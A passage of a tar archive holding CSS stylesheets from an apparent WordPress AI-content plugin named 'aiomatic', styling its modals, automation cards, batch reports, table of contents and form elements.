font-weight: bold; } .codeclosefzr:hover, .codeclosefzr:focus { color: #000; text-decoration: none; cursor: pointer; } .codeokfzr { color: white; float: right; font-size: 28px; font-weight: bold; } .codeokfzr:hover, .codeokfzr:focus { color: #000; text-decoration: none; cursor: pointer; } .codemodalfzr-header { padding: 2px 16px; background-color: #5cb85c; color: white; } .codemodalfzr-body {padding: 2px 16px;max-height:75vh;overflow:auto;} .codemodalfzr-footer { padding: 2px 16px; background-color: #5cb85c; color: white; }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/batch.css������������������������������������������������������������������������������������0000644�����������������00000006700�14757771437�0007713 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.parser-holder { overflow: auto; } .aiomatic-parsed-result { width: 100%; max-width: 800px; margin: 0 auto; padding: 20px; background-color: #f9f9f9; border: 1px solid #ddd; border-radius: 10px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } .aiomatic-carousel { position: relative; overflow: hidden; } .aiomatic-carousel-item { display: none; padding: 20px; text-align: left; } .aiomatic-carousel-content { display: flex; justify-content: space-between; } .aiomatic-carousel-input, .aiomatic-carousel-output { width: 45%; } .aiomatic-carousel h3, .aiomatic-carousel h4 { margin-bottom: 10px; } .aiomatic-carousel p { background: #fff; padding: 10px; border: 1px solid #ddd; border-radius: 5px; } .aiomatic-carousel-prev, .aiomatic-carousel-next { transform: translateY(-50%); background-color: #0073aa; color: #fff; border: none; padding: 10px 20px; cursor: pointer; border-radius: 5px; } .aiomatic-carousel-prev:hover, .aiomatic-carousel-next:hover { background-color: #005177; } #batch-failed-report { color-scheme: light; -webkit-font-smoothing: antialiased; line-height: 24px; color: var(--text-secondary); font-size: 14px; font-weight: normal; box-sizing: border-box; font-family: var(--monospace); margin: 0; white-space: pre-wrap; } #batch-counts { display: flex; } .batch-css-files { color-scheme: light; font-family: var(--sans-serif); color: var(--text-default); font-size: 16px; line-height: 24px; box-sizing: border-box; display: flex; flex-direction: column; -webkit-box-align: stretch; align-items: stretch; } .batch-css-flex { color-scheme: light; -webkit-font-smoothing: antialiased; font-family: var(--sans-serif); color: var(--text-default); font-size: 16px; line-height: 24px; box-sizing: border-box; display: flex; flex-direction: row; -webkit-box-align: center; align-items: center; } .batch-css-status { color-scheme: light; -webkit-font-smoothing: antialiased; font-family: var(--sans-serif); line-height: 24px; box-sizing: border-box; color: var(--text-secondary); font-size: 14px; font-weight: normal; } .batch-css-result { color-scheme: light; -webkit-font-smoothing: antialiased; font-family: var(--sans-serif); line-height: 24px; box-sizing: border-box; color: var(--text-secondary); font-size: 14px; font-weight: normal; } .batch-css-heading { color-scheme: light; font-family: var(--sans-serif); line-height: 24px; box-sizing: border-box; color: var(--text-default); font-size: 14px; min-width: 145px; } .batch-css-holder { color-scheme: light; font-family: var(--sans-serif); line-height: 24px; box-sizing: border-box; color: var(--text-primary); font-size: 1.1em; font-weight: 700; margin-bottom: 16px; } #batch-detail-page-aiomatic { color-scheme: light; font-family: var(--sans-serif); color: var(--text-default); font-size: 16px; line-height: 24px; box-sizing: border-box; display: flex; position: relative; flex-direction: column; -webkit-box-align: stretch; align-items: stretch; width: 100%; padding: 26px; }����������������������������������������������������������������styles/automation.css�������������������������������������������������������������������������������0000644�����������������00000023662�14757771437�0011020 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.omniblock-card.disabled { background-color: #f9f9f9; border: 1px dashed #aaa; opacity: 0.6; } .omniblock-card.disabled .omniblock-title { text-decoration: line-through; color: #999; } .omniblock-card.disabled .aicollapsible { background-color: #ccc; color: #777; } .omniblock-card.disabled .move-up-btn, .omniblock-card.disabled .move-down-btn, .omniblock-card.disabled .delete-btn { background-color: #ccc; color: #777; cursor: not-allowed; } @media only screen and (max-width: 782px) { .codemainauto { width: 146px !important; } } #my-loading-indicator { text-align: center; position: relative; top: 50%; left: 50%; transform: translate(-50%, -50%); } .disable_drag { cursor: text; } .codemainauto select { font-size: 14px; border: 0; width:126px; color: #111; background: transparent; font-weight: bold; padding: 2px 8px; -webkit-appearance: none; } .gs_display_table { display:table; } .card-desc { display:contents; } .codemainauto {color:black; width: 50%; margin: 0 auto; text-align:center; overflow:hidden; width:126px; -moz-border-radius: 9px 9px 9px 9px; -webkit-border-radius: 9px 9px 9px 9px; border-radius: 9px 9px 9px 9px; box-shadow: 1px 1px 11px #330033; background: #58B14C; } .codemodalauto { display: none; position: fixed; z-index: 1; padding-top: 40px; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgb(0,0,0); background-color: rgba(0,0,0,0.4); } .codemodalauto-content { position: relative; background-color: #fefefe; margin: auto; padding: 0; border: 1px solid #888; width: 65%; box-shadow: 0 4px 8px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19); -webkit-animation-name: animatetop; -webkit-animation-duration: 0.4s; animation-name: animatetop; animation-duration: 0.4s } @-webkit-keyframes animatetop { from {top:-300px; opacity:0} to {top:0; opacity:1} } @keyframes animatetop { from {top:-300px; opacity:0} to {top:0; opacity:1} } .codecloseauto { color: white; float: right; font-size: 28px; font-weight: bold; } .codecloseauto:hover, .codecloseauto:focus { color: #000; text-decoration: none; cursor: pointer; } .codeokauto { color: white; float: right; font-size: 28px; font-weight: bold; } .codeokauto:hover, .codeokauto:focus { color: #000; text-decoration: none; cursor: pointer; } .codemodalauto-header { padding: 2px 16px; background-color: #5cb85c; color: white; } .codemodalauto-body {padding: 2px 16px;max-height:75vh;overflow:auto;} .codemodalauto-footer { padding: 2px 16px; background-color: #5cb85c; color: white; } #aiomatic_sortable_cards { list-style-type: none; margin: 0; padding: 0; } .omniblock-card { background-color: #f2f2f2; border: 1px solid #ccc; border-radius: 4px; cursor: move; margin-bottom: 5px; width: 100%!important; height: auto!important; } .aicollapsible-parameters { display: none; } .ai-collapsible-holder { text-align: center; } .ai-flex { display: flex; } .ai-right-flex { text-align: right; flex: auto; } .delete-btn { background-color: #f44336; color: white; border: none; padding: 2px 6px; text-align: center; text-decoration: none; display: inline-block; font-size: 16px; margin: 4px 2px; transition-duration: 0.4s; cursor: pointer; border-radius: 5px; } .delete-btn:hover { background-color: white; color: black; } .delete-btn:disabled { background-color: #cccccc; color: #666666; } #aiomatic_sortable_cards { list-style-type: none; margin: 0; padding: 0; width: 100%; } .omniblock-card { background-color: #ffffff; border: 1px solid #ddd; border-radius: 8px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); cursor: move; margin-bottom: 16px; transition: box-shadow 0.3s ease-in-out; } .omniblock-card:hover { box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } .omniblock-card button { border: none; border-radius: 4px; padding: 4px 8px; margin: 4px; cursor: pointer; transition: background-color 0.3s ease-in-out; } .move-up-btn, .move-down-btn { background-color: #e7e7e7; color: #333; } .move-up-btn:hover, .move-down-btn:hover { background-color: #ddd; } .delete-btn { background-color: #5cb85c; color: white; } .delete-btn:hover { background-color: #d32f2f; } .aicollapsible { background-color: #eeeeee; color: #333; font-size: 14px; } .aicollapsible:hover { background-color: #ddd; } .omniblock-card input[type="text"], .omniblock-card textarea { width: 100%; padding: 1px; margin: 8px 0; box-sizing: border-box; border: 1px solid #ccc; border-radius: 4px; } .omniblock-card select { width: 100%; padding: 8px; margin: 8px 0; border: 1px solid #ccc; border-radius: 4px; background-color: white; } @media (max-width: 768px) { .omniblock-card { margin-bottom: 12px; padding: 8px; } .omniblock-card button { padding: 8px 12px; } } .controls-icon { width: 24px; } .move-up-btn, .move-down-btn { background-color: transparent; border: none; padding: 2px; cursor: pointer; } .move-up-btn:hover, .move-down-btn:hover { background-color: #e7e7e7; } .move-up-btn svg, .move-down-btn svg { fill: #555; height: 20px; width: 20px; } .aiomatic-copy-textarea { cursor: pointer; } .move-up-btn:hover svg, .move-down-btn:hover svg { fill: #333; } .aiomatic-bold{ font-weight: bold; } .aiomatic-indigo{ color: indigo!important; } .omniblock-card { transition: box-shadow 0.3s ease-in-out, border-color 0.3s ease; border: 2px solid transparent; } .aicollapsible.selected { box-shadow: 0 0 15px rgba(0, 0, 255, 0.2); border-color: #007bff; } .omniblock-card.selected { box-shadow: 0 0 15px rgba(0, 0, 0, 0.2); border-color: #007bff; } .aisave-content { color: #5cb85c; } .aicreate-content { color: blue; } .step-number { margin-bottom:3px; } .clickable-shortcode { cursor: pointer; color: blue; margin-right: 5px; } .aishortcodes { display: inline-block; padding: 10px; border-radius: 50%; box-shadow: 0px 0px 8px rgba(0, 0, 0, 0.2); margin: 5px; transition: background-color 0.3s, color 0.3s; } .aiomatic-run-now { cursor: pointer; } .aishortcodes:hover { color: #007bff; } .clickable-shortcode { margin-right: 5px; transition: color 0.3s; } .clickable-shortcode:hover { color: #ff4081; } .popup-message { position: fixed; top: 20px; left: 50%; transform: translateX(-50%); background-color: #ddd; padding: 10px; border-radius: 5px; display: none; z-index: 1000; } .popup-message { display: block; animation: fadeInOut 2s; } @keyframes fadeInOut { 0%, 100% { opacity: 0; } 10%, 90% { opacity: 1; } } .aishortcodes { cursor: copy; } .ai_common_holder { display: flex; justify-content: space-evenly; align-items: center; } .id-shower { margin-bottom:3px; } .shortcode-list { max-height: 100px; overflow: hidden; overflow-y: auto; font-size: 0.8em; } @media only screen and (max-width: 1170px) { .omniblock-card { width: auto!important; } } .aiseparator { text-align: center; position: relative; padding: 10px 0; color: #fff; } .aistart { background: linear-gradient(90deg, #5cb85c, #5fba5f); border-top-left-radius: 20px; border-top-right-radius: 20px; margin-bottom: 30px; } .aistop { background: linear-gradient(90deg, #5fba5f, #5cb85c); border-bottom-left-radius: 20px; border-bottom-right-radius: 20px; margin-top: 30px; } .aiseparator::before, .aiseparator::after { content: ''; display: block; margin: auto; height: 5px; width: 50px; background: #fff; border-radius: 10px; margin-top: 5px; } .aistop::before, .aistop::after { margin-bottom: 5px; } .aiomatic_iframe__overlay{ position:fixed; width:100%; height:100%; display:none; top:0; left:0; background:rgba(0,0,0,0.5); z-index: 1000001; } .aiomatic_iframe__centerWrap{ display:table; position:absolute; width:100%; height:100%; } .aiomatic_iframe__centerer{ display:table-cell; vertical-align:middle; } .aiomatic_iframe__centerer iframe{ width:95%; display:table; margin:0 auto; position:relative; } .aiomatic_iframe__contentWrap{ width:95%; height:100%; margin:0 auto; position:relative; padding-top:10px; } .aiomatic_iframe__scaleWrap{ position:relative; height:95%; padding-top:20px; width:100%; min-height:600px; } .aiomatic_iframe__centerer iframe{ position:absolute; top:0; border:0; outline:0; box-shadow:0px 0px 10px rgba(0,0,0,0.5); left:0; width:100%; height:100%; background:white; } .aiomatic_iframe__closeBtn{ z-index:2; position:relative; margin-top:-40px; } .aiomatic_iframe__closeBtn p{ line-height:0; margin:0; padding:0.5em 0 0.75em; color:#FFF; background:#000; width:1.3em; font-size:25px; border-radius:100%; text-align:center; font-family:Verdana, serif; position:relative; bottom:-0.5em; right:-0.5em; cursor:pointer; float:right; box-shadow:0px 0px 10px rgba(0,0,0,0.5); transition:color 0.2s ease-out, background 0.2s ease-out; } .aiomatic_iframe__closeBtn p:hover{ background:#FFF; color:#000; }������������������������������������������������������������������������������styles/aiomatic-rules.css���������������������������������������������������������������������������0000644�����������������00000006413�14757771437�0011551 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.wauto{width:auto!important;} .nav-tab:focus, .nav-tab:focus:active, .nav-tab:hover { border-bottom: 1px solid #5cb85c; background: #5cb85c !important; color: white !important; } #mainRules input,textarea,select { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif; } #mainRules td, #mainRules th { border: 1px solid #ddd; padding: 2px; } #mainRules tr:nth-child(even){background-color: #f2f2f2;} #mainRules tr:hover {background-color: #ddd;} .ai-video { aspect-ratio: 16 / 9; width: 100%; } #mainRules th { padding-top: 12px; padding-bottom: 12px; text-align: left; background-color: #5cb85c; color: white; } #mainRules th { text-align:center !important; } .single-center-but { text-align:center !important; } #mainRules th .bws_help_box.dashicons-editor-help { color:white; } @media only screen and (max-width: 782px) { .codemainfzr { width: 146px !important; } } .aiomatic-nav-tab-active, .aiomatic-tabs-navigation-wrapper a:hover { background-color: #5cb85c !important; color: #fff!important; } .codemainfzr select { font-size: 14px; border: 0; width:126px; color: #111; background: transparent; font-weight: bold; padding: 2px 10px; } .codemainfzr {color:black; width: 50%; margin: 0 auto; text-align:center; overflow:hidden; width:126px; -moz-border-radius: 9px 9px 9px 9px; -webkit-border-radius: 9px 9px 9px 9px; border-radius: 9px 9px 9px 9px; box-shadow: 1px 1px 11px #330033; background: #58B14C; } .codemodalfzr { display: none; /* Hidden by default */ position: fixed; /* Stay in place */ z-index: 1; /* Sit on top */ padding-top: 40px; /* Location of the box */ left: 0; top: 0; width: 100%; /* Full width */ height: 100%; /* Full height */ overflow: auto; /* Enable scroll if needed */ background-color: rgb(0,0,0); /* Fallback color */ background-color: rgba(0,0,0,0.4); /* Black w/ opacity */ } .codemodalfzr-content { position: relative; background-color: #fefefe; margin: auto; padding: 0; border: 1px solid #888; width: 65%; box-shadow: 0 4px 8px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19); -webkit-animation-name: animatetop; -webkit-animation-duration: 0.4s; animation-name: animatetop; animation-duration: 0.4s } @-webkit-keyframes animatetop { from {top:-300px; opacity:0} to {top:0; opacity:1} } @keyframes animatetop { from {top:-300px; opacity:0} to {top:0; opacity:1} } .codeclosefzr { color: white; float: right; font-size: 28px; font-weight: bold; } .codeclosefzr:hover, .codeclosefzr:focus { color: #000; text-decoration: none; cursor: pointer; } .codeokfzr { color: white; float: right; font-size: 28px; font-weight: bold; } .codeokfzr:hover, .codeokfzr:focus { color: #000; text-decoration: none; cursor: pointer; } .codemodalfzr-header { padding: 2px 16px; background-color: #5cb85c; color: white; } .codemodalfzr-body {padding: 2px 16px;max-height:75vh;overflow:auto;} .codemodalfzr-footer { padding: 2px 16px; background-color: #5cb85c; color: white; } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/toc.css��������������������������������������������������������������������������������������0000644�����������������00000003122�14757771437�0007412 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#aiomatic_toc_container ul,#aiomatic_toc_container li { margin:0; padding:0; } #aiomatic_toc_container.no_bullets ul, #aiomatic_toc_container.no_bullets li, #aiomatic_toc_container.no_bullets ul li, .aiomatic_toc_widget_list.no_bullets, .aiomatic_toc_widget_list.no_bullets li { background:none; list-style-type:none; list-style:none; } #aiomatic_toc_container.have_bullets li { padding-left:12px; } #aiomatic_toc_container ul ul { margin-left:1.5em; } #aiomatic_toc_container { background:#f9f9f9; border:1px solid #aaa; padding:10px; margin-bottom:1em; width:auto; display:table; font-size:95%; } #aiomatic_toc_container.aiomatic_toc_light_blue { background:#edf6ff; } #aiomatic_toc_container.aiomatic_toc_white { background:#fff; } #aiomatic_toc_container.aiomatic_toc_black { background:#000; } #aiomatic_toc_container.aiomatic_toc_transparent { background:none transparent; } #aiomatic_toc_container p.aiomatic_toc_title { text-align:center; font-weight:700; margin:0; padding:0; } .aiomatic_toc_black, .aiomatic_toc_black * { color: #ddd !important; } #aiomatic_toc_container span.aiomatic_toc_toggle { font-weight:400; font-size:90%; } #aiomatic_toc_container p.aiomatic_toc_title + ul.aiomatic_toc_list { margin-top:1em; list-style-type: none; } .aiomatic_toc_wrap_left { float:left; margin-right:10px; } .aiomatic_toc_wrap_right { float:right; margin-left:10px; } #aiomatic_toc_container a { text-decoration:none; text-shadow:none; } #aiomatic_toc_container a:hover { text-decoration:underline; }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/form-end.css���������������������������������������������������������������������������������0000644�����������������00000014547�14757771437�0010351 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.aiomatic_editor_wrapper, .aiomatic_textarea_wrapper { position: relative; display: block; } .aiomatic_copy_btn { position: absolute; right: 10px; bottom: 10px; padding: 8px 16px; background-color: #0073aa; color: white; border: none; border-radius: 5px; cursor: pointer; transition: background-color 0.3s; } .aiomatic_copy_btn_gut { bottom: 30px; } .aiomatic_copy_btn:hover { background-color: #005077; } .aiomatic-generate-button { cursor:pointer; } .aiomatic-get-button { cursor:pointer; } .aiomatic_image_wrapper { position: relative; display: inline-block; } .aiomatic_image_wrapper img { display: block; width: 100%; height: auto; } .aiomatic_download_btn { position: absolute; right: 10px; bottom: 10px; padding: 8px 16px; background-color: #0073aa; color: white; text-decoration: none; border-radius: 5px; transition: background-color 0.3s; } .aiomatic_download_btn:hover { background-color: #005077; color: white; } .aiomatic_download_btn:visited { color: white; } .aiomatic_download_btn:link { color: white; } .aiomatic_download_btn:active { color: white; } .button--loading .button__text { visibility: hidden; opacity: 0; } .button--loading::after { content: ""; position: absolute; width: 16px; height: 16px; top: 0; left: 0; right: 0; bottom: 0; margin: auto; border: 4px solid transparent; border-top-color: #ffffff; border-radius: 50%; animation: button-loading-spinner 1s ease infinite; } @keyframes button-loading-spinner { from { transform: rotate(0turn); } to { transform: rotate(1turn); } } .aiomatic-prompt-head{ display: flex; align-items: center; padding-bottom: 10px; border-bottom: 1px solid #b1b1b1; } .aiomatic-prompt-icon{ color: #fff; width: 100px; height: 100px; margin-right: 10px; display: flex; align-items: center; justify-content: center; border-radius: 5px; } .aiomatic-prompt-icon svg{ fill: currentColor; width: 50px; height: 50px; } .aiomatic-prompt-head p{ margin: 5px 0; } .aiomatic-prompt-head strong{ font-size: 20px; display: block; } .aiomatic-prompt-content{ padding: 10px 0; } .aiomatic-grid-three{ display: grid; grid-template-columns: repeat(3,1fr); grid-column-gap: 20px; grid-row-gap: 20px; grid-template-rows: auto auto; } .aiomatic-grid-2{ grid-column: span 2/span 1; } .aiomatic-grid-1{ grid-column: span 1/span 1; } .aiomatic-prompt-item .aiomatic-prompt-sample{ display: block; position: relative; font-size: 13px; } .aiomatic-prompt-item .aiomatic-prompt-sample:hover .aiomatic-prompt-response{ display: block; } .aiomatic-prompt-title{ display: block; width: 100%; margin-bottom: 20px; } .aiomatic-prompt-result{ width: 100%; } .aiomatic-prompt-max-lines{ display: inline-block; width: auto; border: 1px solid #8f8f8f; margin-left: 10px; padding: 5px 10px; border-radius: 3px; font-size: 15px; } .aiomatic-generate-button{ margin-left: 10px; } .aiomatic-get-button{ margin-left: 10px; } .aiomatic-button{ padding: 5px 10px; background: #424242; border: 1px solid #343434; border-radius: 4px; color: #fff; font-size: 15px; position: relative; display: inline-flex; align-items: center; } .aiomatic-button:disabled{ background: #505050; border-color: #999; } .aiomatic-button:hover:not(:disabled),.aiomatic-button:focus:not(:disabled){ color: #fff; background-color: #171717; text-decoration: none; } .aiomatic-prompt-item .aiomatic-prompt-response{ background: #333; border: 1px solid #444; position: absolute; border-radius: 3px; color: #fff; padding: 5px; width: 320px; bottom: calc(100% + 5px); left: -100px; z-index: 99; display: none; font-size: 13px; } .aiomatic-prompt-item h3{ font-size: 25px; margin: 0 0 20px 0px; } .aiomatic-prompt-item .aiomatic-prompt-response:after,.aiomatic-prompt-item .aiomatic-prompt-response:before{ top: 100%; left: 50%; border: solid transparent; content: ""; height: 0; width: 0; position: absolute; pointer-events: none; } .aiomatic-prompt-item .aiomatic-prompt-response:before{ border-color: rgba(68, 68, 68, 0); border-top-color: #444; border-width: 7px; margin-left: -7px; } .aiomatic-prompt-item .aiomatic-prompt-response:after{ border-color: rgba(51, 51, 51, 0); border-top-color: #333; border-width: 6px; margin-left: -6px; } .aiomatic-prompt-item .aiomatic-prompt-field > strong{ display: inline-flex; width: 50%; font-size: 13px; align-items: center; flex-wrap: wrap; } .aiomatic-prompt-item .aiomatic-prompt-field > strong > small{ font-size: 12px; font-weight: normal; display: block; } .aiomatic-prompt-item .aiomatic-prompt-field > input,.aiomatic-prompt-item .aiomatic-prompt-field > select{ border: 1px solid #8f8f8f; padding: 5px 10px; border-radius: 3px; font-size: 15px; display: inline-block; width: 50%; } .aiomatic-prompt-flex-center{ display: flex; align-items: center; } .aiomatic-plain-center{ text-align: center; } .aiomatic-plain-right{ text-align: right; } .aiomatic-prompt-field{ margin-bottom: 10px; display: flex; } .aiomatic-mb-10{ margin-bottom: 10px; } .aiomatic-loader{ width: 20px; height: 20px; border: 2px solid #FFF; border-bottom-color: transparent; border-radius: 50%; display: inline-block; box-sizing: border-box; animation: aiomatic_rotation 1s linear infinite; } .aiomatic-button .aiomatic-loader{ float: right; margin-left: 5px; margin-top: 2px; } .aiomatic-form-field{ margin-bottom: 10px; } @keyframes aiomatic_rotation { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .aiomatic-form-input { width: 100%!important; max-width: 100%!important; } .aiomatic-hidden-form { display: none; }���������������������������������������������������������������������������������������������������������������������������������������������������������styles/assistants.css�������������������������������������������������������������������������������0000644�����������������00000000261�14757771437�0011022 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.openai-chat-avatar { border-radius: 50%; height: 44px; width: 44px; clear: both; display: block; background: #E1F0FF; position: relative; }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/coderevolution-style.css���������������������������������������������������������������������0000644�����������������00000017413�14757771437�0013034 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.resize_vertical{resize:vertical;}.gs_display_table{display:table;}.codemodalfzr{text-align:initial;}.cr_float_right{float:right;}.gs_popuptype_holder select{max-width:100% !important}.crf_full{width:100%}.crf_half{width:50%}.crf_bord{border:1px solid #ccc;padding:5px;margin-top:10px}.crf_margin_x{margin-top:10px;margin-left:10px}.crf_x{width:336px}.crf_rel{position:relative}.cr_cursor_pointer,.cr_pointer{cursor:pointer}.cr_hidden,.cr_running{visibility:hidden}.gs_popuptype_holder input[type=text],.gs_popuptype_holder input[type=password],.gs_popuptype_holder input[type=number],.gs_popuptype_holder input[type=url],.gs_popuptype_holder input[type=email],.gs_popuptype_holder select,.gs_popuptype_holder textarea{width:100%}.cr_td_qx,.cr_td_z{width:17%;text-align:center;vertical-align:middle}.cr_saved_notif{border-bottom:6px solid green;background-color:#d3d3d3;color:green}.cr_failed_notif{border-bottom:6px solid #8b0000;background-color:#d3d3d3;color:#8b0000}.cr_07_font{font-size:.7em}.cr_align_middle{vertical-align:middle}.cr_td_z{min-width:100px}.cr_td_qx{min-width:150px}.cr_kjh{min-width:70px;width:30%}.cr_kjg{min-width:70px;width:10%}.cr_ion{min-width:150px;width:30%}.cr_min_260px{min-width:260px}.cr_color_red{color:red}.cr_list_type{list-style-type:circle}.cr_255{width:255px}.cr_100_180{width:100px;max-width:180px}.cr_15_font{font-size:150%}.cr_13_font{font-size:130%}.cr_width_100{width:100%}.cr_width_60{width:60px;}.cr_auto_update{background-color:#fff8e5;margin:5px 20px 15px;border-left:4px solid #fff;padding:12px;border-left-color:#ffb900}.cr_server_stat{width:98%;margin:0 auto;text-align:left}.codemainfzr{width:100%;text-align:center;}.cr_width_160{width:160px;}.cr_special_hr{height:12px;border:0;box-shadow:inset 0 12px 12px -12px rgba(0,0,0,.5)}.cr_width_20{width:20px;}.cr_autocomplete{opacity:0;position:absolute}.cr_main_table{overflow-x:auto;width:100%}.cr_30{max-width:30px;width:30px}.cr_32{max-width:32px;width:32px}.cr_main_table_nowr{width:100%;white-space:normal;overflow:visible!important;}.cr_max_width_20{max-width:20px}.cr_max_width_40{max-width:40px}.cr_max_width_30{max-width:30px}.cr_max_width_80{max-width:80px}.cr_max_width_150{max-width:150px}.cr_max_width_180{max-width:180px}.cr_max_width_70{max-width:70px}.cr_max_width_50{max-width:50px}.cr_min_width_200{min-width:200px}.cr_width_60{width:60px!important}.cr_width_70{width:70px}.cr_width_80{width:80px}.cr_width_150{width:150px}.cr_80_2{width:80px}.cr_width_300{width:300px}.cr_70_25{min-width:70px;width:25%}.cr_width_30p{width:30%}.cr_width_60p{width:60%!important}.cr_width_65p{width:65%}.cr_width_33p{width:33%}.cr_width_20p{width:20%}.cr_width_15p{width:15%}.cr_width_25p{width:25%!important}.cr_width_80p{width:80%}.cr_width_full{width:100%;max-width:100% !important}.cr_min_150{min-width:150px}.cr_min_width_70{min-width:70px}.cr_80{max-width:80px;width:80px}.cr_inline{display:inline}.cr_helper{border:1px solid #000}.cr_rer{width:60px;min-width:60px;text-align:center;vertical-align:middle}.cr_aay,.cr_aaz,.cr_ts{min-width:150px;text-align:center;vertical-align:middle}.cr_cax{width:12%;text-align:center;vertical-align:middle}.cr_customi{width:63%;max-width:335px;border:6px inset #F7cccE}.cr_help_me{font-family:inherit;font-size:inherit;font-weight:inherit;line-height:inherit}.cr_ts{width:150px}.cr_aaz{width:33%}.cr_aay{width:40%}.cr_olk{min-width:70px;max-width:250px;width:10%;text-align:center;vertical-align:middle}.cr_left{float:left}.cr_auto{height:auto}.cr_11_darkred{font-size:1.1em;color:#8b0000}.cr_red{color:red!important;}.cr_yellow{color:#ff0}.cr_darkyellow{color:rgb(135, 135, 74)}.cr_bold{font-weight:700}.cr_green{color:green}.cr_70_20{min-width:70px;width:20%}.cr_back_white{background-color:#fff}.cr_dotted{border-top:dotted 1px}.cr_dorange{color:#ff8c00}.cr_dgreen{color:#006400}.cr_dred{color:#8b0000}.cr_blue{color:#00f}.cr_450{width:450px}.cr_200{width:200px}.cr_min_60{min-width:60px}.cr_50{width:50px!important}.cr_min_200{min-width:200px}.cr_min_240{min-width:240px}.cr_red12{font-size:1.2em;color:red}.cr_15,.cr_15_blue{font-size:1.5em}.cr_15_blue{color:#00f}.cr_green12{font-size:1.2em;color:green}.cr_70_150{min-width:70px;width:150px}.cr_min_360{min-width:360px}.cr_recaptcha{transform:scale(.9);-webkit-transform:scale(.9);transform-origin:0 0;-webkit-transform-origin:0 0}.cr_pointer{cursor:hand}.cr_margin_block{margin:auto;display:block}.cr_sz{min-width:70px;width:35%}.cr_gty,.cr_loi,.cr_oiu,.cr_selx,.cr_sely,.cr_seop{min-width:150px}.cr_seop{width:15%;text-align:center;vertical-align:middle}.cr_selx{width:10%;text-align:center;vertical-align:middle}.cr_sely{width:25%;text-align:center;vertical-align:middle}.cr_loi{width:20%;text-align:center;vertical-align:middle}.cr_oiu{width:30%;text-align:center;vertical-align:middle}.cr_gty{width:50%;text-align:center;vertical-align:middle}.cr_lll,.cr_ppp{min-width:100px;text-align:center;vertical-align:middle}.cr_xoq{width:150px;text-align:center;vertical-align:middle}.cr_lll{width:20%}.cr_ppp{width:15%}.cr_right{float:right}.cr_half{width:40%!important;}.cr_border0{border:0}.cr_xlo{min-width:150px;width:45%;text-align:center;vertical-align:middle}.cr_custx,.cr_min_100{min-width:100px}.cr_weight{font-weight:600}.cr_custom_help{color:#23282d;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:1.3em;margin:1em 0}.cr_custom_help2,.cr_custom_help3{color:#444;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px}.cr_custom_help2{line-height:1.5;margin-bottom:1em;margin-top:1em}.cr_custom_help3{list-style:none;padding:0}.cr_ff{font-family:inherit;font-size:inherit;font-weight:inherit;line-height:inherit}.cr_tra{color:#0073aa;outline:0;transition-duration:50ms;transition-property:border,background,color;transition-timing-function:ease-in-out}.cr_uy,.cr_yu{color:#444;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px}.cr_uy{margin-left:2em;padding:0}.cr_marg{margin-bottom:6px}.cr_status_icon{float:left;vertical-align:middle;}.cr_running{float:left}.cr_width_80p{width:80%;}.cr_gray_back{background-color:gray!important}.cr_gray_back select{background-image:none!important}.cr_none{display:none}.cr_ccolor{color:#8B0000}.cr_center{text-align:center}.cr_centered{text-align:center;vertical-align:middle}.cr_backup{position:absolute;right:40px}.cr_color_white{color:#fff}.cr_color_gray,.cr_gray20{color:gray}.cr_width_auto{width:auto!important;}.cr_author{width:100px;text-align:center;vertical-align:middle}.cr_custx{width:30%;text-align:center;vertical-align:middle}.cr_6cust{width:6%;text-align:center;vertical-align:middle}.cr_max_42{max-width:42px}.cr_max_55{max-width:55px}.cr_max_32,.cr_short_td,.cr_td_short{max-width:32px}.cr_short_td{text-align:center;vertical-align:middle}.cr_td_short{width:32px;text-align:center}.cr_td_q{max-width:30px;width:30px;text-align:center;vertical-align:middle}.cr_100{width:100px}.cr_td_xo{max-width:32px;width:28px;text-align:center;vertical-align:middle}.cr_ts_min_cust{min-width:70px;width:10%;text-align:center;vertical-align:middle}.cr_td_cust{min-width:150px;width:66%;text-align:center;vertical-align:middle}.cr_70_100{min-width:70px;width:100px}.cr_middle{text-align:center;vertical-align:middle}.cr_shrt_td2{max-width:20px;text-align:center}.cr_gray20{max-width:20px}.cr_rule_line{width:30%;text-align:center;vertical-align:middle}.cr_select_option{min-width:150px;width:35%;text-align:center;vertical-align:middle}.cr_360{min-width:360px}.cr_slct{width:36%;text-align:center;vertical-align:middle}.cr_3as{width:35%;text-align:center;vertical-align:middle}.cr_comm_td{width:60px;text-alig